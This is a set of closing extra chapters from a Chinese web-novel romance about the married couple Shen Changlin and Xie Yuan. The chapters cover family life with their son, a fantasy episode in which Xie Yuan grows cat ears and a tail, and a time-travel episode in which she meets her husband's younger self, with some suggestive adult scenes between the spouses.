也就只有秦老先生能看出沈长凛的本性。
谢沅没有再戳谢时尹的小脸,她伸出指节,戳了戳沈长凛的脸庞:“不可以欺负宝宝,叔叔。”
她的容颜柔美,唇边带着浅笑。
谢沅一句话都没有多说,沈长凛却能觉察得出来,她什么都知道了。
但她没有怪他。
他们两个人之间,沈长凛是更年长的那个,他疼溺谢沅、宠爱谢沅,将她当做小孩子般的呵护。
可是一直以来,都是她在包容他。
无底线的包容催化了本就病态的占有欲,更让道德和礼义彻底地走向末途。
爱欲焚心毁念,让沈长凛时常也难以保持淡漠。
谢沅却始终是清醒的,她认真地规划他们的归来,仔细地思考将来的事情。
当初决定要这个孩子时,她大抵就已经想好日后要如何。
沈长凛搂过谢沅的腰身,俯身吻她的唇,声音低哑:“我不会欺负宝宝的,沅沅。”
——他是因为你对我的爱,才来到这个世界上的-
八月底的晴天,秋高气爽,万里无云。
谢沅早先就做过准备,送谢时尹离开的时候,还是忍不住地掉了眼泪。
沈长凛将她揽在怀里,轻声哄她:“再过几天十一,我们就可以去看他。”
他早先就约了航线。
谢沅也知道乘私人飞机过去那边很方便,但她还是会难过,不仅为谢时尹,还为很多年前的沈夫人和沈长凛。
她是主动将宝宝送走的,都这样难过。
当初沈夫人和秦老先生被迫将沈长凛送出国时,该有多伤心,他那样小的年岁,一个人在国外多年,又多孤独。
沈长凛神情微怔,他将谢沅抱起来,低眸说道:“我没什么的,沅沅。”
只有一件事情是快乐的,就是她不再须要沈长凛帮忙解决……的事了。
但是送走宝宝的第二周,谢沅便要开学了。
她终于忘记为谢时尹难过,可是她忍不住为自己伤心。
谢沅一边哭,一边看德语文献:“我好多东西都忘记了,叔叔。”
她像个临到开学,才想起补暑假作业的孩子。
沈长凛看谢沅掉眼泪,却忍不住笑了出来:“没事的,沅沅,过段时间就好了。”
他那副旁观者的姿态没有让谢沅满意。
沈长凛被赶去了客房,直到谢沅开学的那天才刑满释放。
男人低眉垂眸,送她去上学,矜贵的容色温柔得不像话:“晚间我会记得来接沅沅的。”
燕大开学第一天,几个校门口都堵得水泄不通。
在一众本科生中,谢沅也显得分外年轻,她本来就长得有些显小,眼眶微红的模样更像是不愿上学的孩子。
她以前性子很内敛,现在还是很注重形象。
谢沅揉了揉眼眸,细声说道:“嗯。”
她刚将情绪整理好,就和不远处的导师对上了视线。
因为早婚的事,谢沅的导师一直对她的丈夫颇有微词,觉得这个男人定然是那种傲慢的上位者,此刻看着沈长凛轻声哄谢沅,他的眼都瞪直了。
几天后听到导师迟疑地问她,是不是换丈夫时,她更是眼前一黑。
在一片鸡飞狗跳中,谢沅开始了她的博士生涯。
很难想象,她都读到博士了,还会被每天接送上下学。
但在体会到接送孩子的快乐后,沈长凛一有空就亲自过来接她,谢沅犹豫很久才试探着想要拒绝。
他从善如流,却是立刻就搬出了谢时尹。
“他总在这个时候醒来,”沈长凛眉心微拧,似是有些为难,“想跟我们视频。”
谢时尹还很小,他被江夫人照顾得很好,他们两个也是一有空就去看他。
但沈长凛这个理由,一直用到了谢时尹回国上幼稚园。
谢沅的博士读了三年就顺利毕业。
江夫人送谢时尹回国,小孩子已经长大很多,随着爸爸一起来参加她的毕业典礼。
他们两个长得实在很像,叫人一眼就能看出是父子,只那双水眸与谢沅如出一辙。
谢沅穿着学士服,把谢时尹抱起来,亲了亲他的额头,柔声唤道:“三三今天过来,我很高兴。”
他是个很有礼貌的孩子。
谢时尹很想将话语说得郑重些,却还是带着奶声奶气:“妈妈邀请我过来,我也很高兴。”
沈长凛听到两个人的对话,也禁不住笑了。
谢沅弯起眼眸,一手牵着谢时尹的小手,一手和沈长凛交扣在一起,笑着向外间走去。
在短暂的离别后,他们一家三口以后都不会再分开。
回国之后,谢时尹便要开始准备读幼稚园。
他是个很聪明的小孩子,华文和英文都很好,沈宴白过来看他,还教了他几句粤语,他也学得很快。
在国外的这两年,沈宴白的性子平和了许多。
他跟霍阳、秦承月的友谊也又恢复。
不过他们还是跟温怀瑾不对付,每次见面都要吵架,如果温思瑜也在,战火会进一步地升级。
只有一件事情谢沅比较苦恼。
她婚后一直没有改口,虽然在人前已经能够自然地唤沈长凛的名字,可在人后总还是习惯唤他“叔叔”。
在家里的时候,谢沅已经这样说惯了。
可在谢时尹的面前,她就很不好意思这样讲。
沈长凛将谢沅抱到腿上,轻笑着吻上她的额头:“没关系的,沅沅。”
他当然没关系,因为唤“叔叔”的又不是他。
谢沅气得从他腿上跳下来,她努力地克制了许多天,却到底在谢时尹文艺汇演那天漏了陷。
沈长凛倒是很自然地牵过她,轻吻了吻她的脸庞:“叔叔在这里,沅沅。”
谢沅羞得脸庞泛红,却见小孩子的表情并无异样。
谢时尹当然不会有异样,因为沈长凛很早之前就跟他讲过他们之间的事。
在他们这个家里,谢沅的自由和快乐永远都是首要的,余下的一切都要向后靠。
她想要唤什么,就唤什么。
谢时尹年岁还很小,但他也不觉得爸爸的这个准则有任何问题。
走出幼稚园时,已经接近六点,日光却还很好。
谢沅抬眸看向天边的金红,清澈的水眸里都是星子般的光亮,沈长凛循着她的目光望去,瞧见了此生最夺目的霞光。
可是霞光那样美,也及不上他的沅沅分毫。
在道德和礼义的约束里,爱上谢沅是他疯狂的越轨。
但在生命和情欲的渴望中,爱上谢沅是他注定的沉沦。
余生漫长,多幸运他们能够共度。
第84章 番外05 沅沅变成猫猫了怎么办
沅沅突然变成猫猫了。
沈长凛苏醒的时候,第一次产生还在梦里的错觉。
怀里的孩子身躯柔软,像小八爪鱼般地贴在他的怀里。
白色的吊带睡裙由于姿势,被睡得乱七八糟,卷到了腰间。
露出的半截腰身莹白,宛若凝脂美玉,唯有腰侧尽是深红色的指痕和掐痕。
但现在小裤的边沿处,却陡然冒出一条尾巴。
谢沅的头顶,也长出了一对毛茸茸的猫耳朵。
她还在睡梦中,趴在男人的怀里,低声地哼哼着。
也不知是梦到了什么,嫩红色的舌尖探出,舔了舔樱唇的唇瓣。
与之同时,谢沅的猫耳朵也抖了抖。
沈长凛抚着谢沅那生长在发间的耳朵,指节渐渐顿住。
这猫耳跟之前玩过的女仆装全然不一样,是毛茸茸的,活生生的,抚在掌心时,甚至是有温度的。
向来持重冷静的男人,脸上浮现出了近乎茫然的神情。
当沈长凛的手指落在谢沅的臀尖,继而触摸到她的尾巴尖时,他的颧骨都泛起了少许的薄红。
怎么办?
沅沅好像变成了一只小白猫。
谢沅是有些喜欢猫的,沈长凛也不讨厌猫,只是他对猫毛过敏,就是想陪谢沅养一只也不成。
他薄唇微抿,拥着谢沅,在愣怔片刻后再度抬手抚上了她的尾巴。
沈长凛对猫毛过敏,但他……好像对谢沅不过敏。
毛茸茸的尾巴蓬松,柔软地蜷在掌心,像是一团大些的水。
沈长凛拢着谢沅的尾巴,无意识地便加重了少许的力道。
在玩玩具的时候,谢沅的尾巴就很敏感,但被沈长凛弄醒的时候,她才意识到对猫猫来说,尾巴到底有多敏感。
她还在睡梦中,此刻陡地睁开了水眸。
从尾巴传来的酥麻感陌生,却像过电似的激烈。
连带着耳朵也竖了起来。
到底是什么人这么坏?
没看见猫猫都这样了吗,竟然还在欺负人——
谢沅睁开眼眸,抬起头就跟沈长凛对上了视线,她怒目圆睁,生气地把尾巴拽了过来,不让他再摸。
她的耳朵竖了起来,眼眸也含嗔。
谢沅的眸里含水,有些委屈地说道:“你怎么又欺负我的尾巴?”
她的尾巴很敏感,经不得欺负,尤其是那样故意的欺负。
谢沅抱着毛茸茸的尾巴,跟沈长凛拉开距离,他抬起手想要扣住她的皓腕,却被她下意识地挠了一爪子。
她变成了小猫,却没有爪子。
可那一下落下来后,还是留下了血痕。
谢沅吓了一跳,尾巴也不顾了,凑到沈长凛的跟前。
她捧起他的手,抱歉地说道:“我不是故意的,叔叔。”
谢沅真的很乖,有时候被他弄狠了,攀着他肩膀的那双手还是会收着气力,克制着不将他抓伤。
可现在不是关心这个的时候。
沈长凛摇了摇头,声音迟疑:“沅沅,这是你自己的尾巴。”
他一边言说,一边很轻地碰了一下她的耳朵。
什么叫“自己的尾巴”?
温热的感触是那样真实,就像是长在头顶的一样。
谢沅本能地就抖了抖耳朵。
她愣怔片刻,旋即用力地拽了一下身后的尾巴,然后尖叫出声:“啊——”-
谢沅花了好长的时间,才接受她变成了猫猫的事实。
小姑娘掉着眼泪,可怜巴巴地问:“我以后都会这样吗,叔叔?”
沈长凛喂她吃了口蛋糕,安抚地摸了摸她的耳朵:“肯定不会的,沅沅。”
车厘子小蛋糕很好吃,谢沅抹了抹眼泪,慢慢平复下来。
她坐在沈长凛的腿上,身后的尾巴不住地摇晃。
虽然不知道谢沅为什么会变成猫猫,但这的确是一件很重要的大事。
沈长凛将视线从她毛茸茸的尾巴尖上收回,轻声说道:“叔叔先去接个电话,沅沅自己喝点水,可以吗?”
谢沅接过杯子,乖乖地应道:“好,叔叔。”
别说变成猫,她就算变成三四岁的小孩子,也会自己独立喝水。
沈长凛见谢沅那样乖巧点头,放心少许。
他回身跟人讲电话,挂断电话后看向满桌子的水,脸都要黑了。
谢沅趴在岛台边,尾巴高高地翘起来,晃来晃去地拍打杯子里的水,因为是背光坐在高脚椅上,她的眼眸显得格外圆。
清凌凌,水圆圆,乖巧得像个小宝宝。
虽然谢沅现在的确变成了一只很小的小白猫。
她巴拉着桌案上的水,一边用尾巴甩着,一边用小手在桌上胡乱地画着。
小猫是怕水的,但爱玩的天性战胜了怕水的本能。
沈长凛抱起谢沅,动作既温柔又严厉地打了一下她的肉臀,低声说道:“不是说会好好喝水吗?”
她突然长了尾巴,正常的小裤也没法穿。
细细的、薄薄的小裤没有任何遮挡作用,反倒更加欲盖弥彰。
谢沅趴在沈长凛的腿上,脸庞通红,裙摆被撩起后,白皙的腿根全都裸露出来,巴掌扇打过后,立刻就泛起明显的红痕。
她羞得欲死,眼眸里也含着水。
谢沅的声音细弱,讷讷地说道:“我不是故意的,叔叔……”
“是杯子、杯子有点问题,”她皱着眉说道,“然后我想看看。”
做坏事好像是小猫的天性。
沈长凛有些无奈,他换了个姿势把谢沅抱到腿上,轻声说道:“但你还没有喝水,是不是?”
她摇了摇头。
谢沅的眼瞳变得很大,圆圆的,黑黑的,看起来愈加纯真懵懂。
但她的举手投足,透着的都是昭然的欲气。
谢沅很乖地待在沈长凛的怀里,被喂水的时候更乖,好好地喝下了大半杯的水。
他抚了抚她的薄背,将人抱到起居室里。
起居室有一张很柔软的圆形地毯,像谢沅尾巴一样毛茸茸,她以前就很喜欢在这边玩。
沈长凛拍了拍她的肩头,然后把平板递给她,轻声说道:“先玩一会儿,沅沅。”
他联系了家庭医生,也跟私人医院打过电话。
谢沅趴在地毯上,小腿翘起来,来回地晃着,尾巴和耳朵也在摇来摇去。
她软声应道:“好,叔叔。”
谢沅应得很认真,沈长凛却没信,走出起居室后,他就点开了监控。
毕竟猫猫说的话,是一个字都不可以信的。
家庭医生来得很快。
沈长凛的会议还没有结束,他只得一边继续开,一边留心谢沅的事。
她趴在地毯上玩积木,把各种颜色的积木摞得高高的,像个大建筑师一样。
连平板都被她放在了一边。
沈长凛看了片刻,渐渐放心,在最快的时间里将手头的这个会议解决掉。
他这边刚刚结束,就打算点开监控。
但沈长凛还没打开屏幕,一旁的起居室都陡然传来巨响。
他甫一起身,就瞧见家庭医生狼狈地走出廊道。
沈长凛愣怔片刻,还以为是谢沅又在闯祸,但他刚走进起居室,小孩子就哭着扑到了他的怀里。
她很软很轻,变成小猫后,更是像羽毛般。
谢沅哭得厉害,但话语却组织不出来。
她哭得很凶,却也只是哭。
沈长凛对猫并不了解,是跟着谢沅看过一些视频和动画片,方才知悉少许。
他想到谢沅可能是应激了。
她方才一直没有反应,只不过因为这是在她的领地,而他又是她的主人。
小猫对气味很敏感,全然适应不了陌生人的。
沈长凛把谢沅抱了起来,低声说道:“对不起,沅沅,叔叔忘记了,不哭了,好不好?”
他托着她臀根的软肉,将她往卧室抱去。
沈长凛顺道拿了西装外套过来,披在谢沅的身上,外衣上有她最熟悉的雪松气息,应当能让她好受些许。
她哭了一会儿后就累了。
长长的眼睫垂落,洒下一层浅金色的阴影。
谢沅抓着沈长凛的外衣,但没多时就睡了过去。
她这样子是没法看医生的,更别提去医院了。
沈长凛第一次这样迟疑,他给生活助理通了电话,轻声说道:“送一点猫薄荷过来吧。”
电话另一头的生活助理神情愕然,下巴都差些掉在了地上。
近处侍候的人,谁不知道沈总对猫毛过敏,怎么会突然要猫薄荷?
沈长凛阖了阖眼眸,轻声说道:“养猫的册子,如果有的话,也一起带过来吧。”
虽然还不知道以后会怎样,但今天还是要照顾好变成猫猫的沅沅-
谢沅刚刚受了惊,睡得却很香。
她本来白天不困的,昨夜睡得也很熟,阖上眼眸的时候,却好像是被本能操纵一样。
阳光越好,她就越想睡觉。
猫猫很容易害怕,可猫猫的世界很简单。
谢沅睡得很舒服,舒服到她都忘记刚才发生什么了。
她像小鱼般钻到沈长凛的怀里,声音柔软:“我睡醒了,叔叔。”
下午两三点的阳光很好。
沈长凛搂过谢沅的腰身,将她扶抱起来,下意识地就抬手覆上她的额头。
她的体温比先前高了一些。
谢沅趴在沈长凛的怀里,只是他感知她体温的这片刻功夫,她的尾巴就又活跃起来。
她早上还在难过有了尾巴以后,要怎么穿衣服。
到这时候,谢沅就深刻感知到了有尾巴的快乐。
她的目光不住地往身后的尾巴飘去,很想要抓住自己的尾巴尖尖。
谢沅的耳朵和尾巴都是纯白的,一缕杂色的毛都没有,招眼得很,她自己都忍不住一直看。
但她还没有走神多久,便被沈长凛落在臀尖上的一巴掌给惊醒了。
男人的动作不轻不重,白软的嫩臀却霎时就红了起来。
谢沅的眼眶也开始泛红。
沈长凛却没哄她,他低声说道:“我刚刚说了什么,沅沅?”
谢沅一个字都没有听,自然不知道他说了什么。
但臀尖还被那修长有力的指节拢着,她怕得浑身的毛都要炸起来。
“我错了,叔叔。”谢沅带着哭腔说道,“你别打我,我会好好听的。”
沈长凛还没做什么,谢沅就一副要嚎啕大哭的可怜模样,他瞬时就没了脾气。
他将她抱在怀里,轻声说道:“待会儿我们还是去医院做个简单的检查,别害怕,叔叔会一直在你身边的。”
趁谢沅熟睡的时候,沈长凛已经安排过人。
她将头埋在他的肩窝里,偷偷地看他的神情。
沈长凛的话音温柔,言辞却是不容置疑。
他的神色更是那样决绝,丝缕转圜的余地都没有留。
谢沅看了又看,最后还是很没有骨气地点头:“好,叔叔。”
她不太情愿,但坐进副驾后情绪又好了起来。
沈长凛亲自开的车,他把毛绒玩具放到谢沅的怀里,吻了吻她的额头:“难受的话,要记得和叔叔说。”
她乖乖地点头,猫耳朵也抖了抖。
沈长凛低笑一声,说道:“那我们去医院了。”
谢沅抱着毛绒玩具,眼眸好奇地看向外边,就像是看动画片一样。
她现在的状态跟做小朋友时很像,又怕生,好奇心又强。
私人医院离家里并不远。
简单的几项检查结束得很快,她的耳朵却一直在抖,还是有些怕外边。
猫薄荷在这时候起了作用。
谢沅的眸光略微有些涣散。
她趴在沈长凛的怀里,长睫不住地颤着。
检查的结果很好。
谢沅的身体非常健康,她假期在家里营养均衡,脾胃都比先前好了很多。
除了多了耳朵和尾巴外,和之前没有任何区别。
没有生病就好。
沈长凛揉了揉谢沅的头发,轻声哄她:“我没有骗沅沅吧,沅沅现在很健康,不用害怕。”
她的手臂勾住他的脖颈,双腿也分开,环住他的腰身。
谢沅埋首于沈长凛的肩窝,还在忍不住地吸他身上的雪松气息。
她小声地说道:“要是一直这样怎么办?”
谢沅的眼眸湿润,水光颤动。
长睫也被濡湿,低低地垂落。
沈长凛神情微动,下意识地吻了一下谢沅的额头,他低声说道:“和以前一样,养一辈子的沅沅。”
这段关系,始于长辈们数十年前的恩情。
秦老先生当时刚从泥潭中挣出,就立刻找寻到了谢知。
报恩对秦老先生来说是非常重要的事情。
严格来说,这段恩情跟沈长凛是没有关系的。
但是不知道从哪一天开始,保护谢沅、疼爱谢沅就内化成了他自己的意志。
在谢沅都想要放弃谢沅的时候,沈长凛都没有想过放弃她,更遑论是在爱欲焚燃之后。
他低笑着说道:“但是沅沅,我们可以不住猫窝吗?”
沈长凛亲了亲谢沅的脸庞,看向她的眼眸:“叔叔年纪大了,可能住不惯。”
他的声音很轻,蕴着的力量却是那样重。
谢沅的眼泪莫名就掉了下来-
谢沅一路上都乖乖的,用晚餐的时候也很乖,跟沈长凛一起看动画片的时候,更是乖得不得了。
她的手臂环着沈长凛的脖颈,眼眸一眨不眨地望向他。
就放佛满心满眼都是他似的。
“我也很爱你的,叔叔,”谢沅小声地说道,“不管你变成什么样子,哪怕变成电影里的野兽,我也会一直陪着你的。”
她管动画片叫电影,也不许沈长凛叫动画片。
沈长凛拉过谢沅的手,轻吻了吻她的指尖:“叔叔好感动,沅沅。”
他的话语直接,虽然有些像在哄小孩子,谢沅的脸庞还是泛起薄红。
两人温存了一整个晚上,直到临睡前要洗澡时。
谢沅打死也不肯进浴室,她抽咽着说道:“小猫会自洁,不用每天洗澡的,你这样不好。”
沈长凛眉梢微扬,戳破她:“可是你会自洁吗?”
谢沅不会。
最后她丧权辱国地被抱进了浴缸里。
洗澡和玩水是完全不一样的体验。
尾巴浸入到水里时,谢沅强忍着才没有立刻就跑出去,花洒的水浸湿耳朵时,她更是差些要哭出来。
沈长凛没有纵着她,掐着她的腰身,硬生生帮她洗完了澡。
谢沅哭得厉害,不止是因为难受,还是因为其他。
擦干头发以后,她哭着指责:“你就是在欺负猫。”
尾巴明明不脏的,可是沈长凛非要来回地洗,从尾巴尖尖到尾巴根,全都被他强硬地洗了一遍。
谢沅受不了,想要挣扎,也被他强摁住了。
她委屈得不行,微潮的耳朵故意抖动,将水甩到沈长凛的身上。
照看孩子是这世界上最麻烦的事。
谢沅一直很乖,但今天她的猫猫本性全部暴露,他才意识到照顾孩子到底有多辛苦。
沈长凛眸色晦暗,将谢沅抱到了腿上,他的眼眸危险地眯了眯,声音微哑:“这就算欺负你了?”
她抽咽着点头,细声说道:“当然算。”
但下一刻谢沅就噤声了,她的眼泪都停住,猫耳朵也抖都不敢抖。
沈长凛慢条斯理地抚过她的脸庞,轻声细语:“那你说这算什么,嗯?”
谢沅哭都不敢再哭,可眼泪却被作弄得越掉越多。
她再也不敢许愿变成猫猫了,变成猫猫后,非但没有停止被沈长凛欺负,反倒还被他欺负得更厉害了。
谢沅睡梦里都在哭,她感觉她完了。
以后她的尾巴和耳朵都不是她的,都要变成沈长凛的了。
第二天睡醒时,谢沅的眼眶都还是红的,沈长凛吻了吻她的额头,轻笑着唤醒她:“沅沅变回来了。”
她立刻就跑到了镜子前,当看到自己的尾巴和耳朵都消失后,水眸都变得亮亮的。
虽然说起来很不可思议,但她有时候好像特别幸运。
连说给神明的愿望,都能够实现。
谢沅不想这样贪心,但晚间临睡的时候,她还是偷偷地又许愿:“想和叔叔一辈子幸福快乐地在一起。”
第85章 番外06 假如沅沅穿到十年前……
一个莫名其妙的小姑娘突然缠上他了。
沈长凛指尖掐烟,倚在栏边,色泽稍浅的眼眸被日光照亮,带着少许无机质的冷感。
洛城临海,在干燥的夏季也没有过分的炎热。
不远处是贯穿东西的公路,地平线是那样清晰,尽头的落日西坠,像电影里的情形。
如果耳边没有一个小姑娘在哭就更好了。
“叔叔,我是沅沅呀,”她掉着眼泪,“你不记得我了吗?”
谢沅拉着沈长凛的衣袖,漂亮的眼眸里水光摇晃,眼眶也哭得红肿起来。
但这相比初见时,已经好得太多。
她那时哭得很厉害,连句话都要说不完整,茫然无措,像是只受惊的小动物。
赛车场的朋友们无一不睁大了眼睛,一眨不眨地看向这边。
沈长凛坐在车上,神情冷漠,理都不想理。
他去年冬天刚刚成年,在美利坚的土地上生长了十八年,从来没有回过一次国,就连华文也是几年前才刚学会的。
怎么可能会认识这么一个小女孩?而遑论做她的叔叔了。
沈三公子矜贵傲慢,从不是好相与的人,他的性子淡漠,对女色没有半分兴致。
没见过他的人,都知道他是位不能招惹的主儿。
沈长凛怎么也想不出,这姑娘是怎么敢拉住他,然后缠上他的。
“我不知道怎么回事,一睁开眼就到这里了,”她湿润的长睫扑闪地颤着,“昨天我们才说好,今天要一起去瀛洲看外公的。”
漂亮柔弱的女孩子,生了一副很好欺负的面孔。
但她无疑是被呵护得很好。
在他跟前时一点惧意都没有,反倒有着少许难以觉察的娇气。
方才如果不是谢沅准确地说出了秦老先生的名字,以及他们的关系,沈长凛都想将她给扔出去了。
但她那样直接地将那些隐秘全都说出来了。
可听到这句话时,沈长凛又拧了拧眉,他低眸看向谢沅:“你不是叫我叔叔吗?为什么跟我一样叫他外公?”
眼前的这个女孩子生得柔美,哭的时候也漂亮。
但她的脑子好像不太好使。
言辞笨拙,逻辑也不通顺,简单的话语,说都说不清楚。
而且满身都是稚气,方才还哭得那么厉害,喂了她一支冰激凌后,却一下子就好转了许多。
谢沅擦了擦眼泪,抬起水眸:“我们只私下这么叫,叔叔。”
她的脸庞早已哭红,晕染上羞意后,更是如若三月盛放的灼灼桃花。
说完以后,谢沅执起勺子又舀起冰激凌球,吃了一小口,她眼泪汪汪地说道:“真好吃,叔叔,感觉和燕城的冰激凌好不一样。”
她方才还那样哭,吃到冰激凌后,泪水又止住了。
沈长凛却是怔在原处,久久都没有言语。
他终于明白问题出在哪里。
感情她说了这么久,他们根本不是亲叔侄,而是情人——
难为他方才在脑中梳理了那么久燕城权贵里跟他有亲缘关系的人了。
矜贵从容如沈三公子,颧骨也在那个瞬间泛起羞恼的薄红。
她在开什么玩笑?
他连女人的手都没有牵过,怎么可能会在十年后乍然转性去养情人?
而且还是一个要唤他“叔叔”的小姑娘——
谢沅有些懵然,她连冰激凌都顾不上吃,急忙解释道:“我们不是情人关系,叔叔,我们是正经的夫妻呀。”
她抬起手腕,给沈长凛看指间的戒指。
无论是戒托上的粉钻,还是那精巧至极的戒指形状,都在昭然地表明他有多疼她、爱她。
这实在是太荒唐了。
沈长凛的神情震动,眼底都是愕然的情绪。
但这还不是最荒唐的。
谢沅拉住他的手,细声说道:“叔叔,你能不抽烟了吗?我不太喜欢,而且抽烟对身体不好。”
她一边言说,一边用小手将他指间的烟支拿走摁灭-
虽然经历了一些不快。
谢沅还是顺利留了下来,她没有护照,没有钱,连手机都没有。
把她扔到外边,她是真的会被魑魅魍魉给活吞。
谢沅就像是一朵柔弱的菟丝花,没有任何独立生存的能力,更不要说让她孤身一人待在十年前的异国他乡。
别墅里侍候的人是第一次见沈长凛带人回来。
谢沅还有些怕,他刚发了脾气,她怕他真的将她扔到外边。
十年前的叔叔不认得她,更不会哄她。
但见到罗斯阿姨的时候,她还是没有忍住,小声地用英语跟人打了招呼:“晚上好,罗斯阿姨。”
罗斯神情讶异,谢沅却不敢再看她,立刻就跟上沈长凛。
他之前带她到这边度过假,住的就是这座别墅。
谢沅还记得卧室第二个柜子里,放着的是她的睡裙和兔子拖鞋。
昨天晚上她还在盘算,等从瀛洲回来后,要和沈长凛一起去哪里玩,但今天她只能独自住在冰冷的客房。
谢沅心里委屈,这一觉还是睡得很舒服。
她这半天过得真是太累了,不过十年前的冰激凌真的很好吃。
临睡前,谢沅都还在迷迷糊糊地想着这件事。
她一觉睡到天亮,舒服地伸了个懒腰,拉开帘子看向窗外全然陌生的洛城风光,才想起她是不小心到了十年前。
这时候手机还没有特别流行。
很多东西都不太一样。
谢沅踩着拖鞋走下楼梯,沈长凛在跟人通电话,他站在落地窗边,单手执着电话:“嗯,就这样吧。”
他的眉眼间带着傲慢,语气也没那般平和。
谢沅第一次见到沈长凛,他已经二十三岁了。
那时的他已经掌权多时,气质矜贵持重,像是沉淀过后的渊水,温雅和柔。
谢沅之前很好奇,沈长凛和沈宴白是血脉相连的亲叔侄,为什么性子差异这么大?
现在她终于明白是为什么。
“你的教养是怎么回事?”沈长凛眉心拧着,“谁教你偷听的?”
他挂断电话,容色冰冷地看向谢沅。
谢沅跟沈长凛一起生活很久,是知道他性子有些阴晴不定的,也知道他年轻时不像后来那样温柔。
但她不知道,他的脾气会这样不好。
谢沅摆着手说道:“对不起,叔叔,我不是故意的。”
她这样反应,沈长凛更意识到一个问题。
谢沅之所以会这样突然过来,是因为十年后的那个他谈事情从来不避着她。
沈长凛一晚上都没睡好。
他是如何也想不清楚。
他这样一个淡漠寡欲的人,到底是发了什么疯,才会把谢沅养到身边,还将她给娶回家的?
眼见谢沅要躲到楼上,沈长凛低声说道:“过来。”
他实在受不得她的眼泪了。
谢沅好像是水做的一样,哭起来就停不下来,现在让她离开他眼皮子底下,只怕待会儿再下楼,眼眸就哭成桃子了。
沈长凛对情爱没兴致,对养孩子更没有兴致。
真想不出十年后他是怎么把谢沅养大的。
谢沅偏好的口味很明显,早餐很丰盛,但她吃的就只有那么几样。
小姑娘像小猫崽似的,话也不敢说,乖乖地用着早餐。
虽然她说出来的话语很荒唐,可谢沅用餐时的礼仪,的确是和沈长凛如出一辙。
两个人一起坐在桌案前,就像是一对兄妹。
谢沅这样笨拙,非得是要人手把手地教着,才能学好用餐礼仪,而且她一定被疼得特别过,才会挑食得这样明显。
沈长凛刚刚跳出来的思绪,在这个时候复又绕了回去。
他揉了揉额侧的穴位,用完餐后容色才再度缓和下来。
直到谢沅小心翼翼地拉住他的衣袖时。
“叔叔,你能送我回宁城吗?”她声音细弱,“我想去看看我爸爸,他在宁城大学数学系做教授。”
谢沅无疑是个很乖顺的孩子。
她不好意思拒绝别人,也不习惯打扰别人。
但在他的跟前,她好像格外的不一样,那种依赖和孺慕仿佛是融于骨血的,与此同时,那种不易觉察的娇气,也变成了一种本能。
沈长凛的脸黑下来。
他低声说道:“我现在都回不去,怎么送你回去?”
短短的一日下来,沈长凛就觉得他的脾气好了太多。
谢沅眨着眼眸,纤细的手指掩住唇,似乎对他有做不到的事十分惊讶:“啊?”
沈长凛额侧的穴位突突地跳。
他是真的很想将她给扔出去-
虽然回不去国,沈长凛最终还是帮谢沅联系上了谢知。
也是在这时候,他想起谢沅是谁。
她是谢敏行的孙女。
为什么不早说呢?沈长凛坐在长沙发上,看谢沅生疏地打开电脑,戴上耳机:“爸、爸爸,我是沅沅。”
跟任何一个人说,我是来自十年后的人,他都会觉得荒诞不经。
但视频另一头的谢知却没有这样。
沈长凛没去窥探他们进行了怎样的对话,但他看得见,谢沅渐渐地泣不成声。
她的眼泪擦都擦不及。
视频通话的时间是有限的。
不是因为这个时代的技术达不到,而是因为沈长凛的身份特殊。
挂断电话后,谢沅的泪水更加压抑不住,她哭得厉害,肩头也在不断地颤抖。
沈长凛的薄唇微抿,他递给她一张帕子,轻声说道:“先不哭了,谢沅,过两天还可以再给你爸爸打电话。”
谢沅的眼眸红肿,她咬住唇瓣,强忍住哭声,摇了摇头。
“不用了,叔叔……”她带着哭腔说道,“实在是太麻烦你了。”
谢沅很怕给人带来麻烦。
沈长凛也从来不是有耐心的人。
但不知道怎么回事,看向她湿红的眼尾时,他的思绪仿佛沉静如水,什么杂乱的念头都消逝得无影无踪。
谢沅可能真的是个很乖的孩子。
沈长凛掰开她颤抖的指节,将她紧攥着的帕子拿过来,然后掐着她的下颌,把她的眼泪擦干净。
真是奇异。
他是第一次做这样侍候人的事,可动作却是那样的熟稔。
就好像是在另一个世界,早已做过千回百次似的。
谢沅的眼泪渐渐止住了。
她的眸里都是水光,很容易害羞的孩子,望向他时的目光却那般坚定。
“叔叔,你不要难过,”谢沅小声地说道,“以后你会很幸福的,我们过得也很快乐。”
她的目光有些躲闪,神情也略带忐忑。
那小脑瓜里不知道想了些什么。
沈长凛敲了一下谢沅的额头,低声说道:“不要胡思乱想,我现在也能养得起一百个你。”
她身上的稚气很重。
但说出这句话时,沈长凛便意识到,他也被谢沅给影响了。
不然他怎么会说得出这么笨蛋的话?
谢沅却忽然弯起眉眼,她柔声说道:“好,谢谢叔叔。”
她怎么能这么坦荡的?
沈长凛摇了摇头,却没再说什么。
眼下回不了国,也回不去十年后,谢沅索性不想更多,和沈长凛在洛城玩。
她的驾照是刚刚到手的,倒车都不熟练,硬生生地上了赛车场。
回到家里后,谢沅的小脸都还是苍白的。
她额前的发丝被浸湿,贴在雪白的脸庞上,显然是一副吓得不轻的样子。
可刚刚在飙车时,兴奋到忍不住大叫的也是她。
“我……我再也不玩这个了,叔叔。”谢沅喘着气说道,“你也不要玩这个,不安全。”
沈长凛将盛着冰水的高脚杯递给她,懒洋洋地说道:“先喝水,沅沅。”
谢沅被他打断,气鼓鼓的:“真的叔叔,飙车不好。”
他拿过高脚杯,指节抵在杯底,直接将水喂给她。
谢沅差点被呛着。
她是真的从没有见过这样坏的人。
谢沅气得脸庞都要红起来,但沈长凛旋即又拿过一杯冰激凌球,他从容自然地说道:“不尝尝吗?”
谢沅……谢沅很想拒绝。
可最终失败了。
谢沅咬着冰激凌球,吃完以后才想起继续言语。
“这样真的不好,叔叔。”她的腮帮鼓鼓的,“哥哥就是生活不健康,然后才总是生病的。”
落日西坠,红光万丈。
方才还气鼓鼓言语的小姑娘,身形渐渐地化作光点。
沈长凛睁大眼眸,伸手想要拉住她,指尖却只余下了冰凉。
他低下眼帘,渐渐意识到是谢沅离开了。
她是来自十年后的人,自然不可能一直停留在这个时空。
耳边陡然清净下来,却是有些过分的寂静了。
沈长凛对于这个世界,他是没有多少渴望的。
他生来就尊崇贵重,可在这万人之上,并没有别的风光。
但一想到在未来,他还要去拯救、爱护他的小姑娘,他便觉得这一切都是可以忍受的。
她是一朵柔弱的菟丝花,可是他愿意将整个春天都赠予她。
全文完